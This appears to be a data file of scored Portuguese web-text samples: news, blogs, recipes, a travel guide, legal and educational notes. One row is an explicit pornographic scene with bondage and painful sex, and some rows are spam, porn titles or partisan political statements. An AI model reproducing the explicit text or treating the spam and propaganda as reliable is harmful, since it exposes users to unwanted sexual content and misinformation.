atividades em parceria com as instituições locais para aperfeiçoamento desse ambiente”, observa. +Conforme Silvana, vai se buscar avanços na desburocratização, iniciativas de inovação, fortalecimento do agronegócio e turismo, bem como, a educação empreendedora. “O que queremos para o Erechim do futuro? Que semente queremos plantar na cabeça das crianças para o futuro do município?”, questiona. +O presidente Eduardo Predebon, enfatiza que o comitê é fundamental para o desenvolvimento de Erechim. “Esperamos que com a reunião de todas as lideranças das instituições de educação, todos empresários locais e, principalmente, com a colaboração do governo municipal possamos trazer um novo alento para todo município de Erechim”, observa. +“Estamos conscientes da nossa missão, mas principalmente, da importância de trabalharmos em conjunto pelo progresso de Erechim”, afirma. Eduardo enfatiza que a avaliação inicial é muito positiva, com muito trabalho construtivo. “E o que é mais importante, o desenvolvimento de um consenso entre todas as lideranças nas ações futuras”, salienta.",original,original,original,original,2,0.4 +"Pois é 1 mês de R.A, quando iniciei nesta comunidade estava com 126 quilos, hoje não me pesei, pesei segunda-feira e estava com 121k e o meu IMC é: 43,9! +Assinarei a minha licença-prêmio amanhã e inicialmente ficarei por 3 meses em casa e depois mais 3 meses_é que tenho duas licenças_ decidi ficar em casa de manhâ, pois assim posso controlar melhor a minha RA e terei ocupações domésticas já que não tenho faxineira, o que colabora para não ficar no ócio. +Depois do almoço vou para a escola. +Se eu ficasse em casa na parte da tarde, sei que iria ficar na frente da tv ou dormindo! +Hoje não sei se consigo caminhar, fui arrastar uma cadeira cheia de livros, lá na escola e acabei levando um topão no dedo do pé_ doeu pacas :( +Está arroxeado, espero que não caia a minha unha! +cardápio14/02 +Minha RA começa a tomar entrar na normalidade, já até consigo postar o cardápio de hoje! +vou postar o cardápio de hoje. +café c/ açucar 26 +arroz 4 col 136 +feijão 2 col 138 +abobrinha cozida 1xic 30 +bife magro 260 +1 barrinha de cereais 100 +bife magro 1/2 130 +arroz 2 col 68 +total 1.128 calorias +Postado por Jane às quinta-feira, fevereiro 14, 2008 +Oi Jane tb bem? pequisando na net encontrei seu blog e adorei tanto o blog como vc com a sua auto estima como faço para o meu blog fica assim mande uma mensagem para trocar-mos dicas pois tb preciso emagrecer tenho 26 anos 1,56 cm e 65kg tb tenho que vira DIVA rsrsrsrs preciso de ajuda. +Uhuuuuuuuuuuuuuuuuuu... um mês de RA - estamos conseguindo, estamos caminhando.",original,original,original,original,1,0.2 +Chegamos em Acarape! Já estamos entregando os melhores produtos do Brasil em sua cidade!,original,original,original,original,1,0.2 +"Cientistas revelam nova visão do núcleo da Terra ~ Nelson Dantas +terça-feira, 10 de fevereiro de 2015 17:35 Nelson Dantas Comentários +Londres, 10 fev (EFE).- Cientistas chineses e americanos realizaram estudos que indicam que o núcleo interno da Terra é uma região sólida composta por duas partes, o que poderia apresentar uma nova informação sobre a origem de nosso planeta, segundo um relatório publicado nesta terça-feira pela revista ""Nature"". +A equipe de geofísicos acredita que a estrutura dos cristais de ferro seja diferente da que se encontra na parte externa do núcleo interno. +Desse modo, os especialistas usam os ecos gerados pelos terremotos para estudar o núcleo da Terra mediante a análise da forma em que mudam à medida em que viajam através de nosso planeta. +A descoberta aponta que o núcleo interno contém cristais de diferente escala, que se formaram em condições distintas e que o nosso planeta pode ter sofrido uma mudança dramática durante esse tempo. +A esfera central da Terra, que se encontra a mais de 5.000 quilômetros, começou a se solidificar há cerca de um bilhão de anos, e continua crescendo aproximadamente 0,5 milímetro por ano. +Por enquanto, o modelo proposto neste trabalho precisa contrastar provas para analisar as propriedades sísmicas do núcleo mais profundo da Terra, segundo concluem os especialistas.EFE",original,original,original,original,4,0.8 +"Ryu e Ken em ""Street Fighter 2"" +Um dos maiores clássicos da história dos games vai ganhar uma versão para a telinha. A eOne anunciou nesta sexta-feira um acordo para desenvolver, financiar e produzir uma série de televisão de ""Street Fighter 2"". Ainda não existe uma data prevista de estreia.",original,original,original,original,1,0.2 +"Receita de Outono: doce de abóbora – Yes, it's Rita! +yesitsrita 16/10/2014 05/09/2019 +Apesar de aqui em Toulouse o tempo ainda estar maravilhoso, com temperaturas na ordem dos 29/30ºC, o certo é que o calendário diz que estamos já bem avançados em Outubro e, consequentemente, no Outono e não no Verão (como parece). +No supermercado, começam já a ver-se castanhas, marmelos, uvas, abóboras e todas essas iguarias, próprias desta época. +Mas não há doce de abóbora! Uma grande falha. +Como aqui em casa, tanto eu como o Pedro gostamos muito, hoje, e apesar de nunca ter feito doce de abóbora, decidi por mãos à obra e arriscar. +Como já tinha feito anteriormente doce de courgette (que pelo que consta, é também ela da família da abóbora), segui a mesma receita (que podem ver em detalhe aqui). +Em resumo muito resumido: abóbora, 1/3 do peso da abóbora de açúcar amarelo, paus de canela, casca de limão. Depois de cozer, ser passado com a varinha mágica e arrefecer, juntam-se nozes em pedaços ao doce e coloca-se nos frascos. +E doce de abóbora vai mesmo bem a acompanhar o quê? Requeijão! +Felizmente, em França, queijo é coisa que não falta, nas suas mais variadas formas. E portanto, apesar de termos demorado a acertar, finalmente encontrámos requeijão do bom. E é com ele que vamos consumir o nosso doce de abóbora. +Até pode estar Verão lá fora, mas se o calendário diz que é Outono, havemos de aproveitar as coisas boas dessa estação. Na loucura, este fim-de-semana faço um magusto :) +Categoria: ComidaEtiquetas: abóboraautumncomidacompotacottage cheesedocesfoodjamoutonopumpkinrequeijãosweet +Artigo anterior Como fazer uma mandala com autocolantes +Artigo seguinte Projecto de costura fácil: saquinhos de alfazema com lenços antigos +Um comentário em “Receita de Outono: doce de abóbora” +Malonda Rose diz: +16/10/2014 às 20:23 +Looks so yummy! I will try it for sure this weekend! ;) +Comida 25/03/2014 05/09/2019 +Receita simples de tarte de maçã",original,original,original,original,1,0.2 +"Em franco declínio econômico e no caminho incontornável de perder a hegemonia geopolítica para a China, os Estados Unidos estão decididos a intensificar as provocações contra a grande potência asiática, apresentando-a falsamente como um perigo à segurança do Ocidente e semeando tensões no entorno chinês. A visita da presidenta da Câmara dos Representantes, Nancy Pelosi, a Taiwan (uma ilha que pertence desde épocas remotas à China e serviu de refúgio à contrarrevolução após 1949) é um passo mais agressivo e perigoso na escalada das provocações e suscitou a vigorosa reação de Pequim. A respeito deste episódio reproduzimos abaixo a declaração do Ministério dos Negócios Estrangeiros da China: +Beijing, 2 ago (Xinhua) – O Ministério dos Negócios Estrangeiros da China emitiu nesta terça-feira uma declaração sobre a visita da presidente da Câmara dos Representantes dos Estados Unidos, Nancy Pelosi, à região Taiwan da China. Segue o texto completo da declaração: +No dia 2 de agosto, a despeito da oposição forte e das representações severas da China, a presidente da Câmara dos Representantes dos Estados Unidos, Nancy Pelosi, visitou a região Taiwan da China. É uma violação severa do princípio de Uma Só China e as estipulações dos três comunicados conjuntos China-EUA. Tem impacto severo na base política das relações China-EUA, infringe severamente a soberania e a integridade territorial da China, prejudica severamente a paz e a estabilidade no Estreito de Taiwan, e emite um sinal severamente errado às forças secessionistas da “independência de Taiwan”. A China opõe-se firmemente e condena veementemente isso, e já fez as representações severas e protestos fortes contra os EUA. +Existe no mundo apenas uma China, e Taiwan é uma parte inalienável do território da China. O Governo da República Popular da China é o único governo legítimo que representa toda a China. É claramente reconhecida pela Resolução 2758 da Assembleia Geral das Nações Unidas em 1971. Desde a fundação da República Popular da China em 1949, 181 países estabeleceram as relações diplomáticas com a China com base no princípio de Uma Só China. O princípio de Uma Só China é um consenso geral da comunidade internacional e uma norma básica de relações internacionais. +Em 1979, os Estados Unidos fizeram um claro compromisso no Comunicado Conjunto sobre o Estabelecimento das Relações Diplomáticas China-EUA de que, “os Estados Unidos da América reconhecem que o Governo da República Popular da China é o único governo legítimo da China. Neste contexto, o povo dos EUA manterá as relações culturais, comerciais e outras relações não oficiais com o povo de Taiwan”. O Congresso dos EUA, como uma parte do governo dos EUA, deveria ter respeitado as políticas de Uma Só China do Governo dos EUA e não efetuado qualquer intercâmbio oficial à região de Taiwan. A China tem-se oposto às visitas dos deputados do Congresso dos EUA à região Taiwan da China e as entidades executivas dos EUA têm a responsabilidade de as impedir. A presidente Nancy Pelosi é a líder incumbente do Congresso dos EUA, e a sua visita e as atividades em Taiwan, de qualquer forma e de qualquer razão, é uma grave provocação política para escalar os intercâmbios oficiais dos EUA com Taiwan. A China não aceita isso de forma alguma e o povo chinês rejeita absolutamente isso. +A questão de Taiwan é a questão central mais importante e sensível nas relações entre a China e os EUA. O Estreito de Taiwan está enfrentando uma nova rodada de tensões e desafios severos, e a razão fundamental reside na alteração repetida do status quo pelas autoridades de Taiwan e pelos EUA. As autoridades de Taiwan procuram a independência, contando com o apoio dos EUA, recusam a reconhecer o Consenso de 1992, praticam a desinicização e promovem “a independência gradual”. Os Estados Unidos mantêm a intenção de usar Taiwan para conter a China, distorcem, obscurecem e esvaziam o princípio de Uma Só China, intensificam os intercâmbios oficiais com Taiwan e respald...",original,original,original,original,1,0.2 +"O evento que está em sua primeira edição acontece em Salgueiro e irá homenagear o escritor Raimundo Carrero (foto) +A I Bienal do Livro do Sertão vai levar oito dias de muita literatura para o sertão de Pernambuco. Entre os dias 12 e 19 de outubro, a cidade de Salgueiro será sede do maior evento de literatura da região. O evento, que vai ser instalado no Ginásio Poliesportivo Francisco Torres de Carvalho, irá ocupar uma área de 3.500 m² e irá reunir mais de 100 editoras e distribuidoras nacionais. O evento irá movimentar cerca de 2,5 milhões de reais na região e irá gerar mais de 500 empregos diretos e 2 mil indiretos. A primeira edição da Bienal terá como homenageado o escritor salgueirense Raimundo Carrero. +A Bienal do Livro do Sertão faz parte das ações do Circuito Literário de Pernambuco (Clipe), projeto que propõe percorrer, anualmente, o Estado de Pernambuco, levando aos professores, estudantes e ao público em geral o acesso a literatura, escritores, ilustradores e editoras. +Entre os autores e palestrantes já estão confirmadas as presenças da sexóloga do programa Altas Horas, Laura Muller, o poeta Jessier Quirino e o jornalista Magno Martins. O público vai acompanhar uma programação que inclui palestras, debates, recitais, conversas literárias, intercâmbio literário-cultural e Feira do Livro. O local contará, ainda, com Café Literário, Casa do Escritor, Vila da Criança, Espaço Jovem e praça de alimentação. Os professores também vão contar com atividades direcionadas para área educacional, que irão acontecer no Espaço do Professor, local destinado para debates e apresentações de teses e dissertações. Todas as atividades da Bienal são gratuitas. +A I Bienal do Livro do Sertão é uma realização da Andelivros (Associação do Nordeste das Distribuidoras e Editoras de Livros), com patrocínio da Prefeitura de Salgueiro. +As escolas municipais de Garanhuns, cujos profissionais estão sendo capacitados nas oficinas gratuitas do Festival Internacional de Literatura Infantil (Filig), e seis bibliotecas da cidade, vão receber Kits de Leitura formados por um acervo de livros infantis que serão entregues em um expositor com suporte para os livros. +Ao todo, serão 58 kits. A seleção dos livros seguirá as recomendações da Fundação Nacional do Livro Infantil Juvenil (FNLIJ) e da curadoria do festival. +A primeira Oficina de Mediadores de Leitura aconteceu em agosto. Até dezembro, serão realizadas mais quatro oficinas, sendo mais uma de Mediadores de Leitura e outras três de Gestores de Bibliotecas. +As oficinas são atividades paralelas do Festival Internacional de Literatura Infantil (Filig), que movimenta Garanhuns no período de nove a 12 de outubro. +O GRUPO DE XAXADO CABRAS DE LAMPIÃO arruma o matulão e arrocha as alpercatas pra entrar nas caatingas e dançar Xaxado nos distritos e povoados de sua própria terra, Serra Talhada, Terra de Lampião e Capital do Xaxado. Já se apresentaram no mês de agosto em Serrinha e Água Branca. ""E não vamos apenas dançar Xaxado, vamos também ministrar oficinas de Xaxado, com outras danças de alto quilate da cultura pernambucana"", comemora Karl Marx, ator e dançarino do grupo. +O Projeto vai percorrer oito comunidades da zona rural, tendo como público alvo estudantes, trabalhadores rurais, donas de casa, pessoas que não vem costumeiramente à sede do município. ""Faz vinte anos que estamos construindo essa história, e é muito bom nos apresentarmos nos grandes palcos, em festivais internacionais, explica a diretora e coreógrafa Cleonice Maria, ""mas bacana mesmo é levarmos nosso espetáculo para as comunidades que pertencemos e nos inspira"", esclarece entusiasmada. +PROGRAMAÇÃO +09 às 12 hs. e 13 às 16h. +Oficina de Xaxado, Frevo e Coco +16: hs. +Mostra de Resultado das oficinas +Espetáculo Mistura Pernambucana +Palestra sobre CULTURA +Grupo de Xaxado Cabras de Lampião +LOCALIDADES: +Setembro +Dia 16 - Santa Rita +Dia 17 - Varzinha +Dia 23 - Logradouro +Dia 24 – Caiçarinha da Penha +Outubro +Dia 14 – Tauapiranga +Este Projeto – MANUTENÇÃ...",original,original,original,original,3,0.6 +"Sobretudo sobre o salto: 2007-09-30 +Pode ser implicância, falta de um olhar mais apurado ou caretice. Mas é fato que eu de-tes-to bichos em roupas. Não gosto de estampas de peles, não acho bonito jóias com formas de animais e tenho horror a penas. Aí li no outro dia que Galliano soltou a bicharada na passarela da Dior na Semana de Moda de Paris. E hoje me deparo com essa foto de Cate Blanchett com um pretinho ótimo e esses sapatos que Deus me livre! Não bastasse ter achado feio, fiquei duvidando que ela não tenha pisado em algumas penas a cada duas passadas. Na minha cabeça, é tudo que uma roupa/acessório não pode ser: feio e pouco prático.Mas isso sou eu dizendo. Agora entre no comentário aí embaixo e diga você (por favor). +Beyoncé do pandeiro +Essa foi inspirada pelo blog de uma amiga. Estava eu vendo as últimas e encontro uma foto de Grazi, toda-toda, num jeans de cintura alta. Ao lado da foto, um comentário que diz exatamente o que eu penso: ""isso só fica bom em mulheres com 1,80m e 40kg"". Aí, navegando na internet, me deparo com uma foto de Beyoncé tentando um look parecido.Acho Beyoncé linda, um mulherão e, exatamente por isso, não pode aparecer de cintura alta em lugar nenhum. Não é possível que ninguém no staff da moça tenha noção de que o 'pandeiro' dela não fica harmônico numa calça do tipo. Tudo bem que ela está longe do padrão esquelético que anda imperando em Los Angeles, mas certamente não é a gorda que ficou parecendo na foto. +Recente obsessão +Primeiro foi Sébastien Chabal. De cabelo comprido e uma enorme (e densa) barba negra, o jogador da seleção francesa de rúgbi me chamou logo a atenção. Primitivo, pode ser. Assustador, dirão alguns. Mas bem interessante. Depois foi George Clooney quem apareceu com ar cafajeste, de barba (desta vez, grisalha). Aí, no sábado à noite, adivinha como era o homem mais interessante da pista? Barbudo.Alguém pode argumentar que Los Hermanos lançou essa moda antes. Mas eles não têm a menor cara de quem têm pegada, né? (pronto, falei)P.S.: Chabal em campo é uma coisa impressionante. Não bastasse a brutalidade evidente e natural do rúgbi, aquela cabeça peluda dá medo. Mas ele cruza o campo adversário sem temer ninguém. Aproveita que a França foi para as quartas-de-final da Copa e tenta dar uma conferida na atuação do cara. Eu virei Chabalmaníaca.",original,original,original,original,0,0.0 +"É por isso que o pão francês endurece e o pão de forma não - Segredos do Mundo +Curiosidades » É por isso que o pão francês endurece e o pão de forma não +Já deu uma mordida em um pão amanhecido? Entenda por que o pão francês endurece e o pão de forma não? Entenda o mistério por trás das receitas. +26/03/2018, 21h41 +Se você é fã incondicional do tradicional pão francês, também chamado de cacetinho, careca, pão de sal e assim por diante (dependendo da região do país); provavelmente não se importa muito se ele estiver um pouco mais murchinho. Mesmo assim, ninguém nega que o charme do pão francês é quando ele está fresquinho, se possível ainda quente, com manteiga e o que mais convir. +Mas, mesmo os que não conseguem viver sem o pãozinho nosso de cada dia têm que admitir: o pão francês já não tem a mesma textura depois de algumas horas e, infelizmente, ele endurece rápido e perde a umidade do miolo. +Agora, se você nunca entendeu porque esse processo acontece tão instantaneamente com o p��o francês e porque o pão de forma se conserva tão fofinho por tanto tempo a explicação é bem simples: são os conservantes da massa. +Quem entende de pão francês explica que em sua receita não entram conservantes e outros produtos para prolongar sua durabilidade. A massa, basicamente, leva farinha, fermento, água e sal. +Por que o pão de forma é tão fofinho? +O pão de forma, por sua vez, leva outros ingredientes que favorecem não só a maciez, mas também a data de validade do alimento. +E não são só os emulsificantes, os umectantes e os conservantes antimofo que pesam nisso, mas também o açúcar e a gordura acrescentados à massa. +E então, entendeu o “mistério”? Pelo menos agora você sabe que o pãozinho de sal tem menos ingredientes industrializados! +E, falando em pães, você que não pode se dar ao luxo de cair de boca nessa lanchinho, não deixe de conferir também: 7 sinais de que você pode ter intolerância ao glúten.",original,original,original,original,2,0.4 +"Crie um certificado incrível que qualquer pessoa ficaria feliz em receber com apenas alguns cliques na Venngage, o criador de certificados online. +Crie certificados profissionais que os favorecidos sentirão orgulho em receber +Há muitas razões pelas quais você pode querer dar um certificado a alguém: premiar um aluno por suas realizações acadêmicas, reconhecer um funcionário que demonstrou os valores da empresa, parabenizar os participantes de um evento de caridade e muito mais. +Ao criar seu próprio certificado, você pode personalizar o design para se adequar a cada ocasião, incorporar sua marca e reutilizar modelos personalizados para diferentes situações. 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Escolha uma fonte em negrito para o nome do destinatário e o título do prêmio. +Adicione pequenos elementos visuais, como ícones e ilustrações +Enfeite seu design de certificado com ícones e pequenas ilustrações que reflitam o tema da ocasião. +Incorpore sua marca ao design do certificado +Se o certificado for concedido em nome da sua empresa, escola ou organização, não se esqueça incluir sua marca ao certificado! Carregue seu logotipo e use o esquema de cores e fontes corporativas. +Crie um certificado em segundos +Está sem tempo e precisa entregar um prêmio? Sem problemas. Nossos modelos de certificado estão prontos - tudo o que você precisa fazer é inserir seu próprio texto. +Todos os nossos modelos podem ser personalizados o quanto você quiser. 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Pesquise na nossa biblioteca com mais de 40 mil ícones para obter o visual p...",original,original,original,original,1,0.2 +"delegado de polícia, denúncia, indiciamento, indictment, investigação criminal, Lei 12.830, polícia, processo penal +O chamado “indiciamento” é o registro administrativo, feito pela polícia, do nome e dos dados de identificação de alguém que, na opinião da polícia, reúne indícios de ter sido o autor do ato criminoso sob investigação. +O Código de Processo Penal, que é a lei geral sobre a investigação e o processo criminal no Brasil, não usa a palavra “indiciamento” em nenhum momento. Usa, porém, o termo “indiciado” algumas vezes, para se referir à pessoa investigada em relação à qual há um certo conjunto de indícios. +Tradicionalmente, integrantes da polícia, do Poder Judiciário, do Ministério Público e da imprensa têm supervalorizado o indiciamento, pois, na verdade, do ponto de vista do processo penal, esse ato nada significa. Alguém ser indiciado pelo crime “x” não significa nada quanto à acusação que o Ministério Público poderá (ou não) fazer contra ele. O indiciamento policial não gera processo, não obriga o Ministério Público (que pode denunciar outra pessoa ou ninguém) nem, muito menos, o juiz. Em outras palavras, o indiciamento não tem nenhuma consequência processual. +Apenas com indiciamento não se pode dizer que alguém responderá por crime algum. Quem decide se acusará alguém, e por qual crime o fará, é o Ministério Público. +O que gera a instauração de processo criminal é a denúncia do Ministério Público, se recebida pelo juiz. É com o recebimento da denúncia que se inicia o processo criminal. Se o juiz não receber a denúncia, tecnicamente ainda nem haverá processo. +A Lei 12.830, de 20 de junho de 2013, que teve como finalidade “dispor sobre a investigação criminal conduzida pelo delegado de polícia”, mencionou o indiciamento no artigo 2.º, parágrafo 6.º Nele, estabeleceu que o indiciamento é privativo do delegado de polícia, que se dará por ato fundamentado, mediante análise técnico-jurídica do fato, e que deverá indicar a autoria, a materialidade do crime e suas circunstâncias. +Essa norma legal não alterou em absolutamente nada a irrelevância processual do indiciamento, o qual continua a não vincular a decisão do Ministério Público a respeito da existência de justa causa para oferecer acusação nem a decisão do juiz ao admitir a acusação, por meio do recebimento da denúncia, e ao julgar o mérito da ação penal. Obviamente, a lei nem poderia pretender determinar que o indiciamento interferisse nas competências do Ministério Público e do Poder Judiciário, pois, se o fizesse, seria inconstitucional. Na verdade, a norma não tem reflexo algum sobre a eficiência da investigação criminal, mas possui apenas caráter corporativo, para satisfazer interesses das associações de delegados de polícia. +Ao contrário do objetivo de racionalizar e elevar a eficiência da importante atividade da polícia, aquele parágrafo 6.º gerou mais um ato burocrático e desnecessário, quando impõe ao delegado perder tempo fazendo “análise técnico-jurídica” da necessidade de indiciamento, sem que isso tenha nenhuma consequência para a futura ação penal ou para as demais providências cabíveis ao final da investigação. A experiência mostra que decerto muitos delegados se empolgarão com essa oportunidade e produzirão demorados arrazoados acerca da (in)ocorrência do fato criminoso, com análise da doutrina e da jurisprudência criminais, alguns como se desejassem emular o trabalho do Ministério Público ou do Poder Judiciário. Isso não é atividade de investigação criminal nem deveria ser, jamais, a prioridade da polícia, que já possui trabalho suficiente e carências materiais e humanas difíceis de suprir mesmo no longo prazo. A criação dessa “justificativa de indiciamento” apenas drenará tempo e energia dos delegados e os afastará de seu relevante trabalho na coordenação policial da investigação de crimes. Além disso, estimulará advogados a impetrar habeas corpus e ajuizar outras ações para retardar o andamento do processo penal, com base nesses inúteis arrazoado...",original,original,original,original,4,0.8 +"Túnis está localizada no Noroeste da Tunísia, junto ao lago com o mesmo nome. É a capital do país e considerada como a mais bem conservada cidade árabe antiga, mas, ao mesmo tempo, é também uma moderna metrópole em expansão. Do Séc. XII ao XVI, foi uma das maiores e mais prósperas cidades do mundo islâmico e isso reflecte-se na sua arquitectura. +Os turistas são atraídos a Túnis em busca de um ambiente cultural euro-arábico. Apesar de se localizar no Norte do continente africano, mas praticamente à vista da Europa, a Tunísia tem uma mistura de culturas muito peculiar, o que a torna tão atractiva. +Limpa e relativamente segura, os actuais habitantes vestem-se ocidentalmente, com roupas modernas, embora a maioria das mulheres ainda envergue uma écharpe ou um hijab quando se apresenta em público. +O emaranhado de ruas da Medina, repletas de pessoas a vender e a comprar ou a trocar os mais variados produtos, envolve-se em aromas de especiarias e essências. O caos é contagiante e pode acabar a regatear até ao último dinar com um qualquer lojista, antes de se sentar num café de rua, a saborear a sua compra. Todo este ambiente contrasta com as ruas traçadas a esquadro da Ville Nouvelle, centrada na Avenida Habib Bourguiba, uma artéria larga, repleta de trânsito, cafés e esplanadas laterais, que os habitantes locais adoram frequentar ao fim do dia. +As melhores atracções de Túnis estão localizadas fora da cidade – o maravilhoso Museu Bardo e as misteriosas ruínas da antiga Cartago são os locais arqueológicos e artísticos mais fascinantes da Tunísia. +As ruínas de Cartago ficam perto da cidade e do souq de Túnis, sendo um dos pontos mais agradáveis para visitar. Na Antiguidade foi considerada uma potência, disputando com Roma o controle do mar Mediterrâneo. Dessa disputa originaram-se três Guerras Púnicas, das quais acabaram por destruir Cartago. Hoje é uma estação arqueológica e turística importante. +Quem procura a cultura tunisina mais autêntica pode encontrá-la nos tradicionais souks de Túnis, que são os mercados árabes. Tradicionalmente, no Séc. VII, o souk ocupava uma pequena parte na zona velha da cidade, ou Medina. Actualmente, existem tantos mercados espalhados em toda a cidade, que se torna difícil definir uma zona para compras e os residentes referem-se a todo o souk como a Medina. +O labirinto de ruas estreitas está coberto com todo o tipo de vestuário e artigos para o lar, assim como fruta fresca e especiarias. Pode apreciar os sons e os cheiros distintivos de um mercado árabe, enquanto regateia os preços. Tudo o que se compra tem de ser regateado, fazendo esta experiência parte da verdadeira Túnis. +Todavia, os preços costumam ser inflacionados para os turistas e muitos visitantes, ingénuos, pagam mais pelos artigos do que aquilo que eles valem. Tenha um especial cuidado ao visitar o souk, mantendo a sua carteira bem guardada e o dinheiro distribuído por vários bolsos, pois abundam os carteiristas nas multidões e os visitantes são alvos fáceis. +Na Medina, há alguns mercados que são de visita obrigatória, como o Souk de la Laine, por exemplo, onde estão situados os tecelões. Apesar de já não possuir a sua glória inicial, aqui ainda pode apreciar todo o pro-cesso de produção e comprar algumas peças tradicionais. Depois de regatear, claro! +Outro mercado que não poderá deixar de visitar é o Souk des Chechias, especializado na produção dos tradicionais chapéus de lã tunisinos. +Qualquer cidade árabe tem o seu mercado do ouro. Em Túnis, é o Souk des Orfevres, localizado perto da mesquita principal. Aqui vende-se, sobretudo, artigos em ouro de grande qualidade e, embora o design não seja de renome internacional, se regatear bem pode conseguir um bom negócio. +A mesquita central de Túnis, Zitouna, remonta ao Séc. IX, quando a cidade se tornou muçulmana. A maior parte da cidade foi erigida à volta dela, cujo nome significa, literalmente, “oliveira”. O templo recebeu esse nome devido ao seu fundador ter o hábito de reunir os estudantes do Co...",original,original,original,original,4,0.8 +"1 cama king-size, Sofá-cama, vista para o pátio, Varanda +Sinta-se em casa em quartos espaçosos, projetados com decoração elegante e muito espaço para relaxar. +Aproveite uma excelente noite de sono em sofás-cama confortáveis com lençóis impecáveis e travesseiros de qualidade. +Mantenha a conexão com o mais importante na sua vida com o acesso à internet de alta velocidade como cortesia.",original,original,original,original,1,0.2 +"Macho prende sua namoradinha na cozinha de casa para fazer com ela uma putaria brutal e torturar a safadinha do jeitinho que ela gosta. A vagabunda geme gostoso quando seu namorao pega ela toda nua e amarra suas mãos e seus pés, fazendo a safada completamente sua submissa. Ele começa a dar tapas fortes na bundinha dessa vagabunda, que fica cada vez mais molhadinha de tesão vendo a rola do seu macho ficar dura enquanto ela apanha. A gostosa pede rola no seu cuzinho, então o macho bota ela ainda amarrada em cima do balcão e soca com força naquele cu, fazendo a putinha gritar de tanta dor!",original,original,original,original,0,0.0 +"Jake Porno. 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A causa da epilepsia édesconhecida, entretanto admite-se o componente genético e algumas condições que estão associadas ao aparecimento de crises e exigem tratamento com anticonvulsivantes. Essas crises podem ser doençasdegenerativas, tumores, estados febris, traumatismos, efeito tóxico de drogas, eclâmpsia, uremia, síndrome de abstinência de fármacos e drogas de abuso. +2 _ Quais os tipos de epilepsia e porqueessa classificação é importante. +A epilepsia pode ser classificada em dois tipos: +Primária ou idiopática é quando não há evidência de causa anatômica específica. Podem existir devido a umaanormalidade herdada no SNC; +A importância da classificação está no fato da escolha dofármaco ser baseado no tipo de crise a ser combatida podendo essas serem +• Simples: os neurônios hiperativos que apresentam atividade elétricaanormal estão confinados a um local restrito do cérebro,ocorre em qualquer idade e o paciente apresenta atividade anormal em um dos membros ou em um grupo muscular controlado pela região cerebral como distúrbio. +3 _ Tendo em vista as características do quadro epiléptico, discorra sobre os mecanismos de ação, de modo geral, dos fármacos anticonvulsivantes. +Os fármacos antiepilépticosbloqueiam o início da descarga elétrica desde a área focal ou previnem o alastramento da descarga elétrica anormal para as áreas cerebrais adjacentes. O mecanismo usado para essa ação inclui o bloqueio...",original,original,original,original,3,0.6 +"O japão é o primeiro humano orgasmo barracas de beira de estrada +A madrasta veio para casa de embarque",original,original,original,original,0,0.0 +"Grátis Como fazer baby sitting Apps Descarregar Para PC completa | Jogos de baixar aplicativos para PC,Laptop,Janelas 7,8,10, XP +Inicio Parenting Grátis Como fazer baby sitting Apps Descarregar Para PC completa +Grátis Como fazer baby sitting Apps Descarregar Para PC completa +Free How to do Baby Sitting Apps Full Version Download For PC +How to do Baby Sitting Apps Latest Download For PC Windows Full Version.How to do Baby Sitting Apk Full Version Download for PC.Download How to do Baby Sitting Apps Latest Version for PC,Laptop,Windows.Baby sitting needs extra care and extra attention as it revolves around the babies who are extremely delicate and need special attention all the times. +Como executar How to do Baby Sitting Apps for PC,Laptop,Windows 7/8/10 / XP +Artigo anteriorLivre GFX ferramenta Apps download Para PC completa +Próximo artigoPulseira livre inteligente 2 Aplicativos Baixar Para PC completa",original,original,original,original,1,0.2 +"Aula 06 - Economia da Educação - 3 +trabalho, permitindo a criação do excedente. Enquanto a teoria do capital humano chama esse excedente de taxa de retorno, o primeiro grupo de autores chama isso de mais valia relativa. +Observando o agigantamento do sistema educacional e a desqualificação crescente da classe trabalhadora, esse segundo grupo de autores acredita que é no seio da produção que o capital forma os trabalhadores com as qualificações requeridas. O capital não precisa da escola para preparar os trabalhadores. Eles são treinados no próprio local de trabalho. +Não existe, portanto, vínculo entre a educação escolar e a estrutura produtiva. A escola desempenharia no interior do processo capitalista de produção apenas uma função política e ideológica. +3) A PRODUTIVIDADE DA ESCOLA IMPRODUTIVA - Frigotto +Esse autor concorda em parte com a segunda interpretação: de fato, a escola não gera mais valia relativa. De fato, a escola tem uma função política e ideológica na sociedade capitalista. Entretanto, discorda do segundo grupo, acusando-o de realizar uma análise mecanicista, por negar a existência de um vínculo entre educação e estrutura produtiva. +Frigotto defende a tese de que a prática educativa se relaciona com a estrutura produtiva não de forma imediata, direta, mas de forma MEDIATA. Afirma que a prática educativa realiza diferentes mediações com a estrutura produtiva. +a) a mediação da escola com o processo produtivo se dá, em primeiro lugar, pelo fornecimento de um saber geral, com traços ideológicos, que se articula ao saber prático que se desenvolve no interior do processo produtivo. Esse saber geral é fundamental para criar os trabalhadores com o perfil desejado pelo capital +b) em segundo lugar, a escola, mediante a criação de centros de excelência, prepara os intelectuais que atuam como trabalhadores improdutivos, mas necessários à realização da mais valia, já que são eles que organizam, planejam, gerenciam e supervisionam a produção. Sua atuação é voltada para maximizar as condições de produção da mais valia e, nessa tarefa, o domínio dos saberes transmitidos pela escola é fundamental. +c) Por fim, a escola cumpre também uma função mediadora mediante sua INEFICIÊNCIA. Na medida em que a escola oferecida para as classes trabalhadoras é de péssima qualidade, isto é, na medida em que os trabalhadores não têm acesso ao saber acumulado, a escola acaba cumprindo uma dupla função na reprodução das relações de produção: 1) justifica a situação de exploração; 2) limita a luta da classe trabalhadora contra o capital. +Por sua improdutividade, a escola torna-se produtiva ao capital. +A TEORIA DO CAPITAL HUMANO NO BRASIL +Após a Segunda Grande Guerra, a divisão internacional do trabalho penetra na economia brasileira. Nessa época, o Brasil implementou um processo de reestruturação produtiva, voltado para a realização da grande indústria taylorista-fordista. O capitalismo brasileiro se subordinou aos países dominantes e às suas multinacionais. As multinacionais buscam em países de capitalismo dependente mão de obra barata e a consolidação industrial que possibilite um aumento na acumulação de capital dos países centrais. Porém, nesses países periféricos, o desenvolvimento da indústria deve estar atrelado aos objetivos dos \u201cmandatários\u201d, que não tem interesse em permitir uma indústria que concorra com as suas e nem que esses países tenham um desenvolvimento tecnológico além do permitido. É, então, essencial para atingir esta meta, a formação de um trabalhador urbano e industrial adequado às regras da fábrica. Ou seja, um trabalhador que tenha disciplina e uma qualificação mínima para o trabalho e para o consumo. +A TEORIA DO CAPITAL HUMANO E AS POLÍTICAS PÚBLICAS DE EDUCAÇÃO NO BRASIL +O governo militar buscava atrelar o modelo de desenvolvimento econômico brasileiro aos interesses do grande capital (internacionalizado). É nesse contexto que a teoria do capital humano passa a fundamentar as políticas educacionais do período. El...",original,original,original,original,4,0.8 